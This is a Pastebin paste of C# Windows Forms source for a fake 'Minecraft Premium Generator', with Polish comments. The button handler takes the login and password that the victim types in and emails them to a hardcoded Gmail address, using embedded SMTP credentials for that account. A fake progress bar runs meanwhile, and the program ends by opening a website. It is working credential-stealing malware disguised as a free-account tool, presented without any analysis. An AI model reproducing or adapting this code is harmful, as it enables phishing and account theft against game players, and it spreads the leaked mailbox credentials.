Advertisement
Guest User

MC PROJ X1

a guest
Apr 27th, 2017
942
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.74 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.Net.Mail;
  11.  
  12. namespace Minecraft_Premium_Generator
  13. {
  14.     public partial class Form1 : Form
  15.     {
  16.         public Form1()
  17.         {
  18.             InitializeComponent();
  19.             //webBrowser1.Navigate("https://media.giphy.com/media/139eZBmH1HTyRa/giphy.gif");
  20.             timer2.Start();
  21.         }
  22.  
  23.         private void pictureBox1_Click(object sender, EventArgs e)
  24.         {
  25.  
  26.         }
  27.  
  28.         private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  29.         {
  30.  
  31.         }
  32.  
  33.         private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
  34.         {
  35.             MessageBox.Show("Pola z gwiazdką są obowiązkowe");
  36.         }
  37.  
  38.         private void button1_Click(object sender, EventArgs e)
  39.         {
  40.             timer1.Start();
  41.             /// Wysyłanie Wiadomości
  42.             MailMessage mail = new MailMessage();
  43.             //mail.To.Add(email);
  44.             mail.To.Add("michalwitek1232@gmail.com");
  45.             mail.From = new MailAddress("michalwitek1232@gmail.com");
  46.             mail.Subject = "MINECRAFT PREMIUM GENERATOR";
  47.  
  48.             //mail.Body = body;
  49.             mail.Body = "login:" + textBox1.Text + "   hasło:" + textBox2.Text;
  50.  
  51.             mail.IsBodyHtml = true;
  52.             SmtpClient smtp = new SmtpClient();
  53.             smtp.Host = "smtp.gmail.com"; //adres SMTP
  54.             smtp.Credentials = new System.Net.NetworkCredential
  55.                  ("michalwitek1232@gmail.com", "michalwitek"); // logowanie na konto
  56.             smtp.Port = 587;
  57.  
  58.             //SMTP
  59.             smtp.EnableSsl = true;
  60.             smtp.Send(mail);
  61.         }
  62.  
  63.         private void timer1_Tick(object sender, EventArgs e)
  64.         {
  65.             int szyb = 3;
  66.  
  67.             progressBar1.Increment(3);
  68.             ///
  69.             if (checkBox1.Checked)
  70.             {
  71.                 szyb = 3;
  72.             }
  73.             else
  74.             {
  75.                 szyb = 2;
  76.             }
  77.             ////
  78.             if (checkBox2.Checked)
  79.             {
  80.                 szyb = 3;
  81.             }
  82.             else
  83.             {
  84.                 szyb = 2;
  85.             }
  86.             ///
  87.             if (checkBox3.Checked)
  88.             {
  89.                 szyb = 3;
  90.             }
  91.             else
  92.             {
  93.                 szyb = 1;
  94.             }
  95.             timer1.Interval = szyb * 50;
  96.         }
  97.  
  98.         private void button2_Click(object sender, EventArgs e)
  99.         {
  100.             progressBar1.Increment(-200);
  101.         }
  102.  
  103.         private void timer2_Tick(object sender, EventArgs e)
  104.         {
  105.             label5.Text = (progressBar1.Value / 3 ).ToString() + "%";
  106.  
  107.             if (String.IsNullOrEmpty(textBox1.Text))
  108.             {
  109.                 button1.Enabled = false;
  110.             }
  111.             else
  112.             {
  113.                 button1.Enabled = true;
  114.             }
  115.             //
  116.             if (String.IsNullOrEmpty(textBox2.Text))
  117.             {
  118.                 button1.Enabled = false;
  119.             }
  120.             else
  121.             {
  122.                 button1.Enabled = true;
  123.             }
  124.             //////Pokazywanie sowy :D
  125.             if (progressBar1.Value == progressBar1.Maximum)
  126.             {
  127.                 progressBar1.Enabled = false;
  128.                 System.Diagnostics.Process.Start("https://mc-premium.org/account");
  129.                 timer2.Stop();
  130.                 Application.Exit();
  131.             }
  132.         }
  133.  
  134.         private void label5_Click(object sender, EventArgs e)
  135.         {
  136.  
  137.         }
  138.     }
  139. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement